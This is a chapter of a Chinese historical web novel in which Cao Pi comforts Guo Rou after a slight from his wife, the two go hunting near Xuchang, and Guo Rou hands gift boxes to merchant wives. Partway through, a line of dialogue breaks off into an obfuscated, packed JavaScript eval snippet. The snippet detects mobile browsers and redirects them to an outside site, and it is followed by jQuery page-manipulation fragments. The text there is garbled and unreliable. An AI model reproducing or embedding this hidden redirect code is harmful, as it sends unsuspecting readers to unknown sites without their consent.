曹丕下值归来一到院子,便发觉气氛不同往常,大步进了屋,只见郭柔眼睛泛红,勉强挂起笑容迎上来。
曹丕就问左右:“谁来过了?”
侍女忙要告诉,郭柔斥责道:“不得胡言,都出去。”侍女只好下去了。
曹丕问她:“是谁?”
郭柔笑着将酸梅汤送到他嘴边,说:“大热的天,快喝些水凉快凉快。你喝完再发问,我必知无不言言无不尽。”
曹丕只好先喝了一口,郭柔只望着他不语,只好饮尽了。郭柔接了杯子,拉他坐下,又倒了半杯,拿团扇扇风,开口:“不是什么大事。”
曹丕看着她,郭柔只道:“上午,女君请我过去仿佛见任夫人。任夫人神情和蔼,说话和气,送我绢帛,要我与女君以姐妹相处。
女君知我擅弹琵琶,命我当众演奏一曲,我以官职在身,推辞便回来了。”
曹丕听了,怒气直起,睁着眼道:“任氏安敢辱我?”说着,就起身往外去。
郭柔死命拉住他,道:“公子息怒,息怒!”
曹丕对她道:“她辱你,就是辱我,不必再劝。我去问问这毒妇,是昏了头,还是安稳日子过多了,竟然做出如此蠢事!”
郭柔紧紧抱住他的腿,叫道:“子桓略站住,听我说一句话,你再走不迟。”
曹丕低头看郭柔,郭柔仍未松手,仰头道:“两句,就两句话。”
郭柔觑着他的神色,忙改口道:“一句,一句就行。公子尚未弱冠,又为诸公子之长,若因妾斥责女君,岂非让外人误认为公子不稳重?”
曹丕听了,半响无言,怒意如雪消去,俯身扶起郭柔,叹息:“你受委屈了。”
郭柔起身,携他重新坐下,笑说:“下面送来新鲜葡萄,已用冰镇着,正好拿来吃。”说着便叫人取葡萄来。
侍女用白玉碗盛了翡翠般的葡萄端来。郭柔洗过手,剥了一颗,要喂曹丕。曹丕心绪不高,道:“你吃。”
“你吃——”
“你吃。”
“哎呀,你吃。”
曹丕不料她如此殷勤,遂明白七八分,心中好笑,伸手忽然一推,那颗葡萄落入郭柔口中。
郭柔微微一愣,就势吃起葡萄,点头不住称赞:“真甜。你不爱吃,我都吃了。”
曹丕知误会了她,立刻拿了一颗往嘴里一塞,要品尝冰鲜美味,郭柔含笑盯着他,见他的脸酸得皱成一团,才伏案大笑。
“你……你……”曹丕说着,自己也笑起来。
郭柔道:“我就说,新下的葡萄酸多甜少。”
曹丕慢慢吃着葡萄,郭柔为他扇风。他又问起任琦折辱之事的详情,听完郭柔如何拜见她们母女,任夫人如何软刀子磨人,任琦如何以家伎羞辱人等等,愧疚道:“你受委屈了。
“且等以后。”曹丕发誓道。
郭柔摇头笑着慨叹:“我初回来确实心中委屈,自我来府里,不说公子如何爱重,便是舅姑小叔也都以礼相待,并不曾受半分委屈。
不过,我不怪女君,只怪这个世道。若有人嘲笑我出身寒微,我只笑那人是痴人、愚人,不和他们计较。
想那袁术四世三公,袁家女便是皇后也做得,然而一遭兵败,妻女为人所俘,可知富贵无常。”
说罢,她望着曹丕,笑容诚挚,说:“因子桓厚爱,我现在婢仆成群、锦衣玉食,焉能不感恩?焉能不惜福?”
曹丕听了,心中暖洋洋的,剥颗葡萄喂她,郭柔领了好意,但摆手笑道:“酸得牙都要倒了,我不吃。”
曹丕道:“我吃一半探探酸甜。”说着,真吃了一半,举着半颗葡萄,信誓旦旦:“这个是真甜,特别甜,你不吃,我吃了。”说着作势要吃。
郭柔只看着他笑,曹丕摇着头将葡萄送到嘴里,含着道:“你不信,正好我吃了。”
郭柔微微一顿,忽然双手搬着曹丕的脸,要去夺葡萄,曹丕双眼圆睁,一时忘了动作。
“真甜!”郭柔低头打量着曹丕别有所指。
曹丕躺在地下,捶着地板,懊恼不迭:“大意之下,失守牙关,悔之不及啊!”
郭柔忍俊不禁,拉他起来,嗔道:“少做怪。”
曹丕抱着郭柔的腰,头搁在她肩上,道:“明日咱们出去游猎,我给你打只狐狸做衣服。”
郭柔喜道:“好啊,去哪里?”
曹丕:“许都郊外。”
两人嬉闹了一会儿,命人传饭。吃过饭,屋内闷热,二人出院散闷纳凉,直至天黑方回。
进门时,忽听得廊下丫鬟抱怨:“女君跋扈如此羞辱人,如君也太好性了……”
郭柔故意弄出动静,慢慢地走进来。丫鬟们忙躲起做他事。曹丕又是一阵愧疚,暗暗握紧郭柔的手,郭柔转头朝他笑笑,心中却无半分芥蒂。
与天下相比,任琦不过是一粒灰尘而已。
次日一早,二人盥洗吃过饭。曹丕忽然对她道:“我找了人陪你在猎场游玩骑马。”
郭柔道:“哦,我明白了。来人,把梳妆台匣子里的三个锦盒带上。”
说着,她指着曹丕,哼了一声,道:“竟是我自作多情了,还以为只有我们两人呢。”
曹丕满脸陪笑说:“好久没去打猎,骨头都酥了,女王允我一回罢了。等你学得精,我只带你出去。”
郭柔嗔道:“我都记在心里,以后你赖不掉。”
曹丕拱手道:“丕安敢言而无信。”
郭柔噗嗤笑了,挥手道:“你玩你的,我乐我的,才不稀罕你陪。”
郭柔带上幕离,骑马跟曹丕一起由仆从簇拥着往许都郊外去了。出了城,走了几里路,曹丕先将郭柔送到一处宅院里,道:“等我为你猎鹿来。”
郭柔挥手送他,笑说:“我等着公子的猎物。”曹丕回头看了几次,才带人拍马朝树林而去。
夏侯尚、夏侯楙、曹真、曹彰、吴质、杨修、朱铄等人早已到了,只等他一人。
夏侯楙问:“子桓,终于把你叫出来了!”
夏侯尚笑道:“佳人相伴,谁愿看你这粗鲁汉子?”一席话说得众人都笑了。
曹彰说了一句:“说笑归说笑,郭氏嫂嫂见识不凡,行事大方,连父亲都夸赞不已,我心里服这位嫂嫂。”
曹丕驭马过来,拍了下曹彰的肩膀,道:“趁着天色尚凉,咱们快去打猎。”众人骑马浩浩荡荡去了。
曹丕与曹彰并骑,曹丕笑问:“子文,你近日一直泡在军营,早该出来了。”
曹彰笑道:“新招的兵事最多,一直不得闲,又不能出来,人都饿干瘪了,今天我要玩个痛快,吃个痛快,喝个痛快。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536875|170914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
曹丕道:“过两日,我带酒肉过去看你。”
曹彰喜道:“二兄,一言为定。”曹丕道:“一言为定。”
却说郭柔刚下马,就有数个妇人上来拜见。见过礼,便簇拥着郭柔进了院子。
“这是谁家?”郭柔停下脚步,望着这处宽敞的宅院,问道。
一妇人出来道:“此乃妾家别院,妾王氏。寒舍蒙贵人亲临蓬荜生辉。”
郭柔颔首,与众人继续往前,一边走,一边赏景,只见古木交柯,松柏成荫,百花烂漫,绿水潺湲,就赞道:“好个夏日乘凉的好地方。”
王娘子陪笑说:“茅檐寒舍,贵人过誉了。”
众人进屋,王娘子再三让座,才分宾主坐下。郭柔不认得这些人,便一一问过她们的家世,所营何业,行商地方等等。
吃过果点,郭柔又由众人陪着骑马射箭,至天热了方回来,恰有侍女来说:“二公子猎了一头小鹿,教人送来加餐。”
郭柔笑问:“公子狩猎如何?”
侍女回说:“收获颇丰,众人听闻北边密林有老虎出没,都往那边去了。”
郭柔忙问:“都有谁与公子一起?”
侍女道:“三公子、曹真公子、夏侯家两位公子、朱先生、杨公子……许多人呢,奴婢认不全。”
郭柔听了,心中稍安,挥手让侍女去了。吃过饭,众人说笑一回,待天稍凉,王娘子便引着郭柔赏花观景,不觉时间流逝。
待走时,郭柔才道:“多有叨扰,过意不去,这些锦盒便送与你们,不要推辞。”
来的有五六家,郭柔早暗叫侍女回去多备锦盒,里面盛放钗环。郭柔一一送给诸妇人娘子,言语间多有勉励之意。
她又对王娘子等人道:“我常居府中,无人说话,你们有闲了,就过来陪我说说话。”
王娘子送走郭柔后,登上车,手里紧紧抱着锦盒,神情紧张。她女儿陈蔷也得了锦盒,却不解母亲之意,便打开了自己的锦盒,取出一对金钗来,笑说:“阿母,你看!”
王娘子勉强笑了笑,说:“真好看,这是司空府出来的好东西,你留着戴。”
陈蔷凑近探头道:“阿母,你锦盒里是什么?我要看。”
王娘子摇头道:“等回家见了你阿翁和叔伯再看。”
陈蔷只好点头,又悄悄道:“阿母,我听说贵人以前是奴婢,真是……”
陈蔷心里又是羡慕又是酸涩,她们这些宗妇娘子们战战兢兢,只为哄贵人一笑。可是贵人看起来,也不过是容貌好看些,身量高挑些,与自己等人并无区别。
她出身还不如自己呢。
王娘子听了,声色俱厉:“不得乱言,那是贵人,一句话能死人,一句话能活人。”陈蔷吓了一跳,呐呐不敢言。
陈家主并兄弟们一同候着,听得脚步声,再起身去看,见王娘子抱着锦盒回来,心中稍安,忙问:“成了吗?”
王娘子让陈蔷回去洗漱休息,自己进了屋,才道:“贵人对众人都以锦盒相赠,蔷儿也有,是一对金钗。”
说着,便将锦盒递给陈家主,道:“我不曾打开,夫君请开此盒。”
陈家主接来,闭目祈祷半响,才敢打开。兄弟们围上来看去,只见是一方缣帛。
“事成矣。”陈家主大为庆幸。